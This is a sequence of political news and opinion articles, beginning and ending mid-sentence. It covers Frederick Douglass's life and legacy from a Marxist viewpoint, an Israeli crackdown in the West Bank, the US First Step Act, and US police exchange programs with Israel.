he was tender in his concern for his housekeeper and life-companion Jenny Le Guillou and sought to leave his work to posterity. His letters also make fascinating reading. At all ages, he was uncompromising in his criticism of pomposity, superficiality and pretensions whether in politics or cultural life, and indefatigable in his dedication to art. For all that he was a Romantic, he maintained a concept of artistic truth, rooted in the Enlightenment, that resembled a philosophically materialist one: The fact of the matter is, art is not what the vulgar believe it to be, a vague inspiration coming from nowhere, moving at random, and portraying merely the picturesque, external side of things. [Art] is pure reason, embellished by genius, but following a set course and bound by higher laws. (Journal, 7 April 1849) Images from the exhibit: https://www.metmuseum.org/exhibitions/objects?exhibitionId=794db332-ad42-4bb9-b81e-2d1d602d947f This year marked the bicentenary of the birth of Frederick Douglass (1818-1895), one of the greatest figures of 19th century America, whose oratory, writings and agitation helped mightily to inspire the abolition of slavery in the Civil War, the Second American Revolution. Frederick Douglass by George Kendall Warren (c.1879) Born into slavery on Marylands Eastern Shore, the mixed-race Frederick Bailey barely knew his mother, and was separated from his grandmother at the age of six. He never knew the identity of his father, but later wrote that it was whispered [that it was] my master. Showing both intellectual curiosity and determination at an early age, the young man began learning the alphabet from the wife of his masters brother, with whom he was then living in Baltimore. Life in a major city gave him certain opportunities for self-education, extremely limited though they were. Frederick was able to play in the streets with other boys. When the head of the household cracked down on the teaching, he studied surreptitiously, especially about the meaning of slavery. Within a few decades, the young slave became one of the greatest autodidacts in American history. Frederick fought back successfully at the age of 16 against a brutal overseer. After several failed attempts, he escaped to freedom in 1838 at the age of 20, later changing his name to Frederick Douglass (the surname suggested by a friend who took it from a character in Sir Walter Scotts The Lady of the Lake). He was soon joined by Anna Murray, who had helped him prepare his journey north. They married in New York City and settled in New Bedford, moving later to Lynn, Massachusetts. As early as 1839 Douglass was speaking at church meetings, relating the story of his escape from slavery and speaking on the struggle for abolition. It was a major address at a meeting of the Massachusetts Anti-Slavery Society on August 16, 1841, when he was only 23 years old, that brought him to the attention of leading abolitionists in the audience, including William Lloyd Garrison and Wendell Phillips. Garrison, some 13 years Douglasss senior, had launched The Liberator in 1831, and was the acknowledged leader of the anti-slavery struggle. Douglass soon devoted himself full-time to the effort, as a lecturer and activist. This work took him away from home for long periods of time, even as he and his wife became the parents of five children. Rosetta, Lewis, Charles and Frederick Jr. survived to adulthood. A second daughter, Annie, died at the age of 10. Anna Douglass died in 1882, after 44 years of marriage. Anna Murray-Douglass, Douglass's wife for 44 years, c.1860 The first of three autobiographies, Narrative of the Life of Frederick Douglass, an American Slave, was published in 1845, and quickly reached tens of thousands of readers. Douglass went on to write two other autobiographies, including My Bondage and My Freedom, in 1855, and Life and Times of Frederick Douglass, in 1881, which he revised and updated in 1892. For most of his life Douglass was also the publisher of newspapers espousing his views. Douglasss biographers include William McFeely, in 1991, and David Blight, whose impressive and exhaustive account has appeared in this bicentenary year. Writing and speaking long before the advent of modern communications technology, Douglass nevertheless became known to millions through the enormous power of his oratory and his message of intransigent and revolutionary opposition to slavery. The strength of the speeches was wedded to their content, to the passionate struggle for freedom against slavery and racial oppression. In the course of his long life, Douglass knew or collaborated with all of the major anti-slavery and other radical figures of the period, including, in addition to Garrison and Phillips, Harriet Beecher Stowe, Harriet Tubman, Ida B. Wells, womens suffrage leaders Elizabeth Cady Stanton and Susan B. Anthony, and many others, including Mark Twain. Douglass met eight US presidents, serving in the administrations of several of them in his later years. His relationship with the first of these, Abraham Lincoln, whom he met with twice in the course of the Civil War, was by far the most significant. A lengthy trip to Ireland and England between 1845 and 1847 played a key role in Douglasss growth as an Abolitionist leader. He spent part of the time with Garrison in London. Douglass, developing a broader international outlook, identified with the Irish struggle for independence and marveled, in a letter home, at the difference with which he was treated: No insults to encounterno prejudice to encounter, but all is smoothI am treated as a man and equal brother. It was also during this trip that British sympathizers joined to buy the escaped slaves freedom from his Maryland master, so that Douglass need not fear capture when he returned to the struggle in America. Frederick Douglass, c.1840s, in his 20s Back in the US, Douglass settled in Rochester, New York, where he would live for the next 25 years. He soon launched his North Star, the first of the newspapers that he led, which was known for its uncompromising opposition to schemes for colonization in Africa as a means of ending slavery. In the wake of the Mexican Warwhich Douglass had bitterly opposed, correctly characterizing it as a means of extending the slave systemthe storm clouds that were to erupt in civil war continued to accumulate. This was a period in which Douglass more than once faced physical peril from pro-slavery elements in the North. As he came into his own as a leading abolitionist, and moreover the most famous black abolitionist, Douglass was increasingly willing to do battle with old allies on issues of strategy and tactics. This led to a sharp and lengthy dispute with his mentor and teacher William Lloyd Garrison. A major point of dispute between Garrison and Douglass was the attitude to be taken toward the US Constitution. Garrison regarded it as a purely pro-slavery document, while Douglass came to recognize its connection to the revolutionary ideals of the Enlightenment, and the necessity for anti-slavery advocates to make use of the Constitution and argue for the extension of its promises and guarantees to Americans of African ancestry. 54th Massachusetts Regiment charging toward Fort Wagner, South Carolina, 1863 Douglasss defense of the Enlightenment and his association with the heritage of the American Revolution is especially vital today, amidst the vulgar and ahistorical attacks on such figures as Thomas Jefferson by modern-day postmodernists and advocates of narrow and reactionary identity politics. A stirring example of Douglasss outlook can be found in his famous speech given to the Rochester Ladies Anti-Slavery Society on the day after Independence Day in 1852. What to the Slave is the Fourth of July? came to be known as The Fifth of July Speech. It is both an indictment of slavery and the compromise with it in the Constitution, and at the same time a ringing defense of that Constitution and of the revolutionary struggle that gave rise to it and that inspired innumerable struggles against absolutism and despotism around the world. Douglasss tribute to the American Founding Fathers in this speech is a particularly eloquent passage and at the same time a devastating indictment of the political spokesmen of American capitalism today. They were peace men; but they preferred revolution to peaceful submission to bondage. They were quiet men; but they did not shrink from agitating against oppression. They showed forbearance; but that they knew its limits. They believed in order; but not in the order of tyranny. With them, nothing was settled that was not right. With them, justice, liberty and humanity were final; not slavery and oppression. You may well cherish the memory of such men. They were great in their day and generation. Their solid manhood stands out the more as we contrast it with these degenerate times. The breach between Garrison and Douglass was not fully healed until 1873. When the older man died in 1879, Douglass eulogized him as follows at a memorial service in Washington DC: It was the glory of this man that he could stand alone with the truth, and calmly await the result. Douglass was among the few abolitionists who gave his full support to the struggle for womens rights. He attended the Seneca Falls, New York womens rights convention in 1848, but 21 years later, in the wake of the Civil War, Douglass and Susan B. Anthony parted ways when she refused to support the 15th Amendment, enacted on Feb. 3, 1870. She opposed extending the right to vote to the former slaves as long as women were still denied access to the ballot. As William McFeely points out, Anthony, who had been steadfast in her opposition to slavery, crossed the line into racism when she said that women were more intelligent than the black men who, she now saw, were competing with her and her fellow women for the vote. John Brown, 1856 The question of whether the United States would continue as half-slave and half-free was posed with growing urgency in the 1850s. This decade saw some major political gains for the advocates of slavery, beginning with the Fugitive Slave Act, part of the Compromise of 1850, which obliged the Federal government to actively assist in the return of runaway slaves to their masters. The Kansas-Nebraska Act of 1854 laid the groundwork for the extension of slavery to US territories by stipulating that settlers, and not the federal authorities, would make the decision on the question. And finally, in 1857, the US Supreme Court issued its infamous Dred Scott decision, denying citizenship to all slaves or ex-slaves, and decreeing that Congress could not prohibit the extension of slavery in the territories. Those who sought to solve the slavery question through gradual abolition or some other compromise looked on these developments with dread and pessimism. However, Douglass was not fundamentally discouraged. More intransigent than ever, he sensed that the actions of the pro-slavery forces reflected weakness, not strength. He recognized the necessity for a national political solution. While he did not welcome violence, neither did he rule it out. This decade saw the peak of Douglasss eloquence as a public speaker. Two dates stand out in particularthe above-cited Fifth of July Speech, and the West India Emancipation speech, delivered on August 3, 1857, to mark the twenty-third anniversary of the abolition of slavery in those British territories. This address, delivered only months after the Dred Scott decision, is if anything even more famous than the earlier one. Douglasss words resonate as powerfully today as it did in the 19th century: If there is no struggle there is no progress, he said. Those who profess to favor freedom and yet deprecate agitation are men who want crops without plowing up the ground; they want rain without thunder and lightning. They want the ocean without the awful roar of its many waters. This struggle may be a moral one, or it may be a physical one, and it may be both moral and physical, but it must be a struggle. Power concedes nothing without a demand. It never did and it never will. Find out just what any people will quietly submit to and you have found out the exact measure of injustice and wrong which will be imposed upon them, and these will continue till they are resisted with either words or blows, or with both. It was in this revolutionary frame of mind that Douglass met with John Brown, the fiery abolitionist who went on to lead the failed raid on the US arsenal in Harpers Ferry in October 1859. Douglass was drawn to the mesmerizing figure of Brown, but when told the details of the planned raid, he refused to participate, warning Brown that it was foolhardy and suicidal. He had met with Brown, however, and had also helped to raise funds for his activities. Facing the danger of arrest and prosecution, Douglass left for Canada days after the Harpers Ferry raid, narrowly escaping apprehension by US marshals. Abraham Lincoln, 1861 He soon went on to England, on a trip that had been previously planned. By this time, through the combination of his writings and speeches as well as his trips to Europe, Douglass had already become the most prominent black man in America. He stayed in England for about four months, returning after the tragic death of his young daughter Annie, even though he still faced some risk because of his association with John Brown. While he lay low for several weeks, by August of 1860, in the words of biographer McFeely, he discovered that for the first time in his life, he was in the political mainstream. The Republican Party, formed only a few years earlier, now moved in Douglasss direction, adopting a platform that more militantly opposed the extension of slavery. The black abolitionist disagreed with those who considered Abraham Lincoln too moderate in his views to merit critical support in the presidential election of 1860. He made the following assessment: While I seethat the Republican party is far from an abolition party, I cannot fail to see also that [it] carries with it the antislavery sentiment of the North, and that a victory gained by it in the present canvass will be a victory gainedover the wickedly aggressive pro-slavery sentiment of the country. Douglasss political appraisal was borne out in a somewhat circuitous way after Lincoln won in November. The victory that Douglass hoped for was followed not by a retreat by the pro-slavery forces, but by the formation of the Confederacy. It was this in turn that made the Civil War inevitable, and eventually the abolition of slavery. The image of John Brown became that of an abolitionist prophet, not a lunatic, as previously depicted. As quoted by David Blight from a speech early in the Civil War, Douglass declared, Good old John Brown was a mad man at Harpers Ferry. Two years pass away, and the nation is as mad as he is. As Douglass became the most eloquent champion of unconditional victory over the slavocracy, Blight compares him to Walt Whitman, but with blunter edges. The cry is now for war, vigorous war, war to the bitter end, and war till the traitors are effectually and permanently put down, wrote Douglass. In words that foreshadowed the campaigns of Union military leaders Sherman and Sheridan, Douglass thundered, Let the ports of the South be blockaded, let business there be arrested; let provisions, arms and ammunition be no longer sent there, let the grim visage of a Northern army confront them from one direction, a furious slave insurrection meet them at another, and starvation threaten them from still another. Civil War (1863) broadside listing Frederick Douglass as a speaker calling -men of color- to arms But Douglass also thundered against Lincoln, who for definite political reasons insisted at this stage that the war was to preserve the Union, and not to end slavery. The president, Douglass said, is tall and strong but he is not done growing. He demanded an immediate change in war aims. He denounced the administrations return of runaway slaves, and Lincolns rescinding of General John C. Fremonts emancipation of slaves in the border state of Missouri. As the conflict deepened, however, the war to preserve the Union became a war to end slavery. Lincoln began to listen to the demands of Douglass and others. The Emancipation Proclamation of January 1, 1863, followed by the effort to recruit free blacks and slaves to the Union army, was a key turning point. Douglass eagerly threw himself into the drive for recruitment of black soldiers, who played a key role in the defeat of the Confederacy. Two of his sons joined the famous 54th Massachusetts Infantry Regiment, which drew African Americans from across the North. Douglass met with Lincoln twice. The first occasion was in August 1863. I went directly to the White House [and] saw for the first time the President of the United States, he wrote. Was received cordially and saw at glance the justice of the popular estimate of his qualities expressed in the prefix Honest to the name Abraham Lincoln. Douglass thanked Lincoln for the recent order answering the Confederacys threat to treat all captured black Union soldiers as insurrectionary slaves with the decree that for every soldier of the United States killed in violation of the laws of war a rebel soldier shall be executed. First Reading of the Emancipation Proclamation of President Lincoln, by Francis Bicknell Carpenter Lincoln went on to deny that he was guilty of vacillation and implied that what Douglass was seeing was steady, if perhaps slow, progress, rather than any indecision on his part, explains McFeely. Douglass came away convinced that once Lincoln had taken a position favorable to the black cause, he could be counted on to hold to it. This was a relationship, and a role for each of these figures, that could hardly have been imagined 25 years earlier, when Douglass had just escaped to freedom and Lincoln was a young lawyer and a member of the Illinois General Assembly. The Civil War ended but the struggle for full racial equality continued. The 13th Amendment to the Constitution, abolishing slavery, was ratified and enacted in 1865. Douglass devoted his energies to the struggle that would lead to the enactment of the 14th and the 15th Amendments, guaranteeing, respectively, equal protection under the law and extending the right to vote to African Americans. In a speech given in Baltimore on September 29, 1865 he gave voice to his great hopes in the aftermath of the victory against slavery and the rebirth of freedom. Addressing his audience, as McFeely explains, with an image Langston Hughes would use in perhaps the greatest of his poems [The Negro Speaks of Rivers], Douglass said that the loftiest and best eloquence which the country has produced, whether of Anglo-Saxon or of African descent, shall flow as a river, enriching, ennobling, strengthening and purifying all who lave in its waters. With the assassination of Lincoln, however, Andrew Johnson, the Tennessee Democrat who had been elected as Lincolns Vice-Presidential running mate only months earlier, had entered the White House. Douglass was part of a black delegation that met with Johnson in 1866, a meeting that only underscored Johnsons hostility to defending the rights of the freed slaves in the South. President Ulysses S. Grant, by Matthew Brady, c.1870 Douglass endorsed Republican candidate and Civil War hero Ulysses S. Grant in 1868. Grant, who went on to serve two terms, defended the rights of the freed slaves as the Reconstruction period continued. By the early- to mid-1870s, however, the rising bourgeoisie in the North was clearly losing interest in pursuing the goal of racial equality that had featured so prominently with the Emancipation Proclamation and in the early years of Reconstruction. The shift was reflected in the inaction of the federal authorities. Douglass increasingly accommodated himself to this retreat, working to win votes for Republican candidates by waving the bloody shirtappealing to patriotism and the immense suffering of the Civil War. The man who had helped to inspire a revolution to end slavery now became the occupant of several minor federal positions and a campaigner for every Republican presidential candidate, long after this party of Lincoln had become an increasingly corrupt instrument of big business. Douglass went so far as to defend the Compromise of 1877, the sordid unwritten deal by which Republican candidate Rutherford B. Hayes entered the White House after a disputed election, with the federal government in return withdrawing its last troops from the states of the former Confederacy. This set the stage for the era of Jim Crow that was to last for generations. When some desperate ex-slaves in the South, called Exodusters, attempted to leave for Kansas and the West, Douglass opposed them, claiming as late as 1879 that the conditionsin the Southern States are steadily improving. For the first time in his life, he found himself hissed and shouted down by black audiences, McFeely recounts. Susan B. Anthony, c.1855 The shift in Douglasss outlook can be seen in a comparison of his stands from before the Civil War and afterwards. In My Bondage and My Freedom, Douglass wrote: The slaveholders, with a craftiness peculiar to themselves, by encouraging the enmity of the poor, laboring white man against the blacks, succeeds in making the said white man almost as much a slave as the black slave himself. The difference between the white slave, and the black slave, is this: the latter belongs to one slaveholder, and the former belongs to all the slaveholders, collectively. (emphasis in original). In England in the 1840s, as McFeely reports, Douglass and Garrison met with some of the Chartist leaders who would later collaborate with Marx and Engels. The biographer writes: In London, Douglas and Garrison made a start at forming the link that Karl Marx always thought was a natural onebetween the working classes in Europe, Britain and the American North, on the one hand, and laborers in the American South on the other. It is one of the great missed opportunities of Douglasss life and of the history of black Americans that this promising effort at cooperation did not bring about a true international working-class movement. While Douglass came close to seeing the potential of the working class as a young man, he later left this behind him, especially in the atmosphere of the US Gilded Age. By 1880 he was campaigning for Republican nominee James A. Garfield as a proud party man, reports Blight. This was in the immediate aftermath of the bitter strike wave of 1877, but Douglass had no problem with Republican anti-labor positionsGiven the bold-faced white supremacy of the Democrats, Douglass still saw the Republicans as his only political home. Title page of the 1845 edition of Narrative of the Life of Frederick Douglass, An American Slave In his final years, Douglass lived the life of a black elder statesman in the Anacostia section of Washington DC. He remarried after the death of Anna Murray Douglass, to Helen Pitts, a white woman some twenty years his junior, from a prominent abolitionist family, whom he had met when she worked as a secretary in his office as Recorder of Deeds. The marriage met with some opposition both from Douglasss children and from his new wifes family as well. Douglass had already endured years of whispered gossip over his close emotional and intellectual relationships with two other womenthe British social reformer Julia Griffiths, who spent the first half of the 1850s working closely with Douglass in Rochester; and the German-Jewish journalist Ottilie Assing, who spent more than 20 years in the US, including months at a time in or near the Douglass household. According to Blight, they were probably lovers. The last decade of Douglasss life saw him take up the cudgels against rampaging white supremacy. In the early 1890s, inspired in part by the young activist Ida B. Wells, the old man, now well into his 70s, denounced the horrors of lynching. Douglass died suddenly on February 20, 1895, shortly after returning home from a womens rights meeting. His funeral service in the capital was attended by dignitaries who included Supreme Court Justice John Marshall Harlan. The casket was taken to Rochester, where Douglass was buried in Mount Hope Cemetery. On the way, he lay in state for two hours at New Yorks City Hall. Many eulogies followed. One of the more noteworthy was from W.E.B. Du Bois, then a 27-year-old college professor in Ohio. As recounted by David Blight, Du Bois urged students and faculty not to cry out in half triumphant sadness at the death of their leader, but to engage in careful conscientious emulation. Du Bois remembered Douglasss leadership in abolitionism, in the recruiting of black soldiers in the war, in the achievement of black male suffrage, and in civil rights. As a leader Douglass had reached for goals considered dangerous and all but impossible. He was not afraid of the American experiment in citizenship. Douglass had proven himself a builder of the state largely from outside traditional power. Our Douglass, asserted the young intellectual, was the man of the race, but he had also stood outside mere race lines. . . upon the broad basis of humanity. William Lloyd Garrison, c.1870 In standing upon the broad basis of humanity, Douglass, a lifelong opponent of colonization and separatism, based himself on the democratic ideals embodied in the Declaration of Independence and the Gettysburg Address. He reached a point, however, where his goal of racial equality ran up against the reality of American capitalism and the growing conflict between the rising bourgeoisie and the working class it was itself creating. The movement of the American working class was itself still embryonic. As the gains of the Civil War were eroded by the growth of Jim Crow segregation and white supremacy, Douglass faced a political dead end. His ideals, as we have seen, had become part of the mainstream during the Civil War, but the mainstream of the 1890s was very different from that of the 1860s. Chattel slavery had been abolished but was replaced by the growth of industry and the big cities, and the overwhelming predominance of wage slavery. The defense of racial equality would only be possible by uniting the working class in a common struggle against capitalism. Douglass could not grasp or base himself on the social forces required to deepen the fight for equality. They would emerge more powerfully in the next century, with the struggles of the American and international working class, and above all with the Russian Revolution and its world-historical significance. Seventy years elapsed between the death of Frederick Douglass and victory against Jim Crow. This was not for lack of opposition to racism, but because segregation could only be overcome through the struggles of the working class, which stretched over decades and were marked by enormous contradictions and difficulties. The mass civil rights movement of the 1950s and 60s stood on the shoulders of the struggles and the gains of the labor movement in the 1930s and 40s. Gravestone of Frederick Douglass in Mount Hope Cemetery, Rochester, New York The efforts in the South were in part inspired by the experiences of millions of workers, both white and black, who had forged bonds in the organizing of the industrial unions, and who had passed through the experience of the Second World War. African-American participants in the Great Migration from the South to the industrial North transmitted a new confidence and militancy back to the movement in the South, which initially took the form of the church-based mass struggles led by Martin Luther King, Jr. American capitalism has long since repudiated its revolutionary heritage. Two hundred years after Douglasss birth and more than a century after his death, the cause of social progress is more than ever inseparably bound up with the unity of the working class in the struggle against capitalism, the system of wage slavery. Attempts to stoke racism today can only be defeated as part of this battle. Douglasss revolutionary legacy has much to teach in this regard, and future generations will remember his enormous contributions. Prime Minister Benjamin Netanyahu authorized a military crackdown on the Palestinian West Bank. The assault was calculated to appeal to Israels ultra-nationalist forces at the expense of his fascistic coalition partners, which are vying over who has a tougher policy against the Palestinians. In the days that followed, the Israel Defense Forces (IDF) carried out a series of military operations, killing six and arresting at least 100 more in protests that erupted over Israeli brutality in Nablus, Tulkarem, Ramallah, Hebron and al-Bireh. One of those arrested in the Hebron area was the Palestinian legislator Mohammed Ismail Al-Tal. The assault started after a drive-by shooting on December 9 near the West Bank city of Ofra that injured seven Israelis, including a pregnant woman whose baby was subsequently delivered by Caesarian section but later died. Settler leaders demanded to see the blood of the terrorists. Netanyahus son Yair joined the calls for revenge, following a series of posts on social media calling for the expulsion of the Palestinians and writing that he would prefer all Muslims to leave Israel. Facebooks temporary ban on him for breaking its rule on hate speech only served to make him a martyr among Israels fascists. On Wednesday, Israeli security forces gave chase to 29-year-old Salah Barghouti, who lived near Ramallah, opening fire on his car before arresting and killing him. His family denied that he had any involvement in the shooting, pointing out that he had not gone into hiding. The next day, the conflict escalated after Palestinians shot and killed two Israeli soldiers and injured two others in a drive-by shooting at a bus stop near the illegal settlement of Ofra. Amid another media uproar, there were calls from several far-right figures for Israel to legalise the entire settlement in retaliation for the attack. The IDF mounted a full-scale provocation, moving into Area A, supposedly under the Palestinian Authoritys full control. The IDF blockaded the city of Ramallah, the seat of the Palestinian Authority (PA), for two days, escalating tensions throughout the West Bank. They carried out a mass round-up, arresting 40 Palestinians, mostly members of Hamas, the bourgeois Islamist group that controls Gaza. The PAs security forces reportedly went into hiding during the Israeli military presence on the streets. PA President Mahmoud Abbas condemned the Palestinian attacks, while pointing to Israels raids as the cause of popular anger. The same day, Israeli security forces killed 23-year-old Ashraf Naalwa, whom they suspected of shooting and killing two Israelis in the Barkan settlement industrial plant last October. They had forced their way into a home in Askar al-Jadid refugee camp, near the northern city of Nablus, sparking a lengthy gun battle. Troops used live rounds or rubber-coated steel bullets on crowds of angry Palestinians protesting Naalwas murder, injuring at least 11. Soldiers shot Hamdan al-Arda, a 58-year-old resident of the northern town of Arrabeh, near his aluminum plant in al-Bireh, claiming that he had tried to ram soldiers with his car. Al-Arda died after soldiers refused to allow Palestinian medics to attend to him. Eyewitnesses told the Maan News Agency that the incident was merely a car accident, and that taken by surprise by the presence of the Israeli soldiers, the driverwho was hard of hearinghad tried to turn away from them before they opened fire on him, a claim that Israels Channel 10 also supported. There were reports of Israeli forces using drones to tear gas protesters gathering in the aftermath of the killing. On Friday, the IDF shot and killed 18-year-old Mahmoud Yousef Nakhla in the Jalazone refugee camp near Ramallah. Palestinians came out onto the streets in protest. The IDF responded by firing stun grenades and rubber-coated steel bullets to disperse the crowds. At least six Palestinians were wounded by the bullets and dozens more suffered from gas inhalation, while 57 were arrested. Meanwhile in Gaza, the IDF shot and wounded 75 Palestinians, including five paramedics and two photojournalists, during the weekly Friday protestsheld last week under the banner of the legitimate right of resistanceongoing since the end of March against the Israeli blockade. Since then, Israeli forces have killed 235 Palestinians and injured 7,000 more with live fire, at least 1,000 of whom face permanent disabilities. Early Saturday morning, 700 IDF soldiers besieged al-Amari refugee camp and demolished a four-story building that was home to Umm Nasser Abu Hmeid, after throwing the residents out onto the streets without even giving them time to put on warm clothes or take their possessions, as punishment for the killing of an Israeli soldier in May, allegedly by Umm Nassers son, Islam. On at least three occasions they stopped Palestinian Red Crescent ambulances trying to evacuate a pregnant woman who had gone into labour. An Israeli court gave the go-ahead for the demolitiona flagrant violation of international law that bans collective punishmentas a deterrence against future attacks. Umm Nasser has faced decades of Israeli oppression. Mother to 12 children, 10 boys and two girls, she has six sons, including Islam, in Israeli jails, four of them serving multiple life sentences. Israeli soldiers killed another of her sons in 1994. As she told the Middle East Eye, There isnt a home in Palestine that hasnt been affected in some way by the occupation. My family has been through everything with the Israeli occupation, and we will get through this as well. The Palestinians have faced not just the IDF but also Israeli settlers who have been attacking cars and civilians in the West Bank since Thursday, shooting and injuring at least one. Settlers from Ofra went on the rampage through the village of Ein Yabroud, northeast of Ramallah, firing on Palestinians homes and provoking clashes. Many of the attacks took place in full view of Israeli soldiers who did nothing to stop them. One far-right group put up posters all over the West Bank calling for the assassination of PA President Mahmoud Abbas. Palestinians protesting in the city of Hebron also came face to face with the violence of Abbas PA security forces who attacked them, detaining a number, and prevented journalists from filming. Netanyahu followed up the brutal crackdown with a pledge to expand the settlements in the West Bank and East Jerusalem that Israel annexed illegally after seizing it during the 1967 June war. Last Thursday, he announced his intention to legalise thousands of Jewish homes built in settlement outposts in the West Bank, previously deemed illegal under Israeli law, while he is pursing plans to redefine Jerusalems borders to exclude Palestinian residents. Netanyahu said he would fast-track the demolitions of the family homes of Palestinians suspected of carrying out attacks on Israelis. Speaking during a tour of the West Bank, he said, We will bolster the settlements even more, as we have now, and we will take all the necessary steps against terror. He added, We won't tolerate terrorneither from Gaza nor from the West Bank. We will beat it with a strong fist. He made a point of extolling the settlers, who are showing strength and perseverance in face of this murderous terror, and the commanders and soldiers of the IDF who safeguard all of the countrys civilians, around the clock, throughout the year. Netanyahu faces the prospect of being indicted for bribery and corruption on numerous charges. He heads a fractious far right coalition that has a majority of just one in the Knesset, following the resignation of Avigdor Lieberman, his former Minister of Defence and leader of Israel Beiteinu (Israel is Our Home). The religious Agudat Yisrael, part of the United Torah Judaism party, has threatened to quit the coalition if Netanyahu goes ahead with the bill enforcing the conscription of the ultra-Orthodox into the army, as required by a High Court ruling before January 16. At the same time, Netanyahu faces rising social discontent within Israel itself, fueled by social inequality, rising prices and the yellow vest protests in France that led to several hundred to protest on the streets of Tel Aviv last weekend. On Wednesday, the United States Senate voted 87-12 in favor of watered-down legislation that will roll back a few of the most draconian provisions of the federal criminal justice system. The First Step Act, short for the Formerly Incarcerated Reenter Society Transformed Safely Transitioning Every Person Act, goes back to the House of Representatives, which passed a slightly stronger version last May by a vote of 360 to 59. For his own opportunistic reasons, President Donald Trump pushed Senate Republicans to support the legislation, tweeting after the vote, America is the greatest Country in the world and my job is to fight for ALL citizens, even those who have made mistakes. When it comes to locking people up, the United States does indeed stand on top of the heap. By large margins, there are more people in state and federal penitentiaries, 2.3 million, and a larger percentage of its population incarcerated than any other nation. The federal Bureau of Prisons (BOP) is the largest single prison system, incarcerating some 180,000 inmates, almost 25 percent beyond its designated capacity. Mass incarceration is not just barbaric and cruel. It adds billions in expenses to government budgets and deprives capitalists of a significant pool of potential workers to keep downward pressure on wages. Efforts to reform the federal system, which can encourage similar reforms on the state level, have been building for years. In a second tweet, Trump added, In addition to everything else, billions of dollars will be saved. I look forward to signing this into law! Federal courts, which handle crimes such as drug trafficking, bank robbery and a variety of so-called white-collar offenses, are governed by strict sentencing guidelines that compel lengthy sentences. Offenders entitled to maximum good time credits are nevertheless required to serve at least 85 percent of their sentences. The legislation was sponsored by an unusual coalition that included the American Civil Liberties Union (ACLU), the American Conservative Union, the right-wing Koch brothers and the liberal Center for American Progress. All 12 votes against the measure were cast by Senate Republicans. Trump made a point of marshaling celebrity support, including a much ballyhooed meeting last September with the renowned nobody Kim Kardashian, CNN commentator Van Jones and Trumps son-in-law, Jared Kushner, who lobbied for passage. The legislation funds job training and other programs for low-risk inmates, who can earn time credits that reduce their sentence, and there are new provisions for prerelease custody such as halfway houses and home confinement. Certain categories of violent offenders and some drug traffickers are excluded, however. The bill removes restrictions on contracting with faith-based contractors, and in that manner contributes to the ongoing repudiation of the First Amendments prohibition against government sponsorship of religion. The legislation places limits on shackling pregnant inmates and solitary confinement for children, two provisions that should never have been necessary. Another section directs the Bureau of Prisons to incarcerate inmates in facilities close to their families when feasible. There are three prospective changes to sentencing laws. First, mandatory minimums for some nonviolent drug offenses are reduced. The three strikes penalty is lowered from life in prison to 25 years, a small comfort for affected inmates and their families. Second, federal district judges will have slightly more access to safety valves to avoid imposing mandatory minimum sentences. Third, stacking firearm possession on a sentence for another crime, like a drug offense, is limited to offenders with prior convictions. Generally, these provisions are not retroactive and are of no use to people now in custody. A fourth sentencing provision, however, allows inmates sentenced before the 2010 reduction in the disparity between crack and powder cocaine to petition for re-sentencing. Those people have already served eight years under provisions of law recognized as discriminatory. The changes are, as a whole, relatively minor, but that did not stop Democrats such as Cory Booker, the New Jersey senator, from calling the bill sweeping, the biggest breakthrough in criminal justice in a generation, and the like. CNN commentator Van Jones called the Senate vote a Christmas miracle. All of these forces heaped praise on Trump for his support. SPEED READ: Since the 1990s, dozens of U.S. police departments have been participating in exchange programs with Israeli police to learn about counterterrorism. Opposition is growing and has lead several departments to denounce them or end their participation. Critics argue that they sanction Israel's treatment of Palestinians and have negative consequences for minorities in America. When the International Olympic Committee announced that Atlanta would host the 1996 Summer Olympics, security for such a massive event was an immediate concern.As part of their preparation, local police traveled to Israel to learn about its security and counterterrorism strategies. In May alone, Israel saw a total of 684 "terrorist events," according to an Israeli government website. By contrast, since 1980, there have been 11 notable terrorist attacks with fatalities on American soil. "It's an art over there," says counterterrorism expert Maria Haberfeld, a professor at John Jay College of Criminal Justice and a former member of the Israeli Defense Forces. "If you're dealing with this for so many decades, then there is definitely expertise."Since the Atlanta Games, nonprofits and private companies around the United States have sponsored law enforcement exchanges with Israel. Dozens of U.S. police departments, including those in Boston, Chicago, New York City and Washington, D.C., have either sent representatives to Israel or hosted Israeli police members to share their experiences.Georgia State University criminologist Robert Friedmann -- who was raised in Israel and launched the Georgia International Law Enforcement Exchange (GILEE) to help police secure the Atlanta Games -- says these exchange programs provide an opportunity for U.S. police to learn counterterrorism prevention and response from a country with significantly more experience.But critics of these programs, which include human rights groups, view them as a problematic sanctioning of the country's treatment of Palestinians.We think these exchange programs are really harmful. We think they are harmful in lifting up and valorizing Israeli occupation, says Stefanie Fox, deputy director at the Jewish Voice for Peace (JVP). We dont think [U.S.] officials need to be learning tips and techniques from occupying security forces.JVP argues that the relationship with Israel has negative consequences for minority groups in the U.S. and will exacerbate mass surveillance, racial profiling and use of force.Friedmann calls these claims shameful and despicable.They make the causal attribution that participation in this program teaches police to kill and oppress minorities, he says. That doesnt offend my Jewishness, it offends my intelligence.But the JVP's efforts are having some success.This month, the Vermont State and Northampton, Mass., police departments withdrew from an Israel trip organized through the Anti-Defamation League. In April, activists successfully lobbied the Durham, N.C., City Council to issue a statement denouncing international police exchange programs with military-style training.While Vermont Police spokesman Adam Silverman says the summit was helpful for a previous police leader, when members of the community expressed concerns with this years trip, the department agreed that it would be in the best interests of the Vermont State Police for Col. Birmingham to withdraw his participation.Northampton Police Chief Jody Kasper echoed a similar sentiment.Its a very divisive issue, she says. [We] decided that it is in the best interest of the community to not attend.Jazmynne Williams, a member of the Demilitarize Durham2Palestine campaign that petitioned the North Carolina city, says it's important to recognize the troubled racial history of U.S. policing in addition to Israeli-Palestinian relations when considering how such a program would affect residents.But Steve Pomerantz, a former FBI assistant director and current homeland security director for the Jewish Institute for National Security of America (JINSA), believes these critics are conflating the issues of policing and militarization. Since 2002, Pomerantz has overseen annual Israel trips with about 15 U.S. law enforcement leaders. He says the program does not teach military tactics but focuses on sharing information for how Israel organizes and responds to terrorism.David Friedman of the Anti-Defamation League also disputes any connection between the exchange programs and military strategy. But a 2016 itinerary for an ADL Israel trip includes meetings with Israeli border police, a security briefing at Ben-Gurion International Airport, and briefings with current and former representatives of the Israeli Defense Forces -- the country's military unit.Friedman says U.S. participants in these programs have given incredibly positive feedback.Henry Stawinski, police chief for Prince Georges County, Md., has completed a number of international exchange programs. Whether they take place in Israel or elsewhere, he says they help to cultivate a broader perspective. In particular, he says he found value in learning about crowd management and security considerations for a transient metropolitan area. (Prince Georges County is part of the Washington, D.C., region.)Gil Kerlikowske, a former Seattle police chief and commissioner of U.S. Customs and Border Protection, 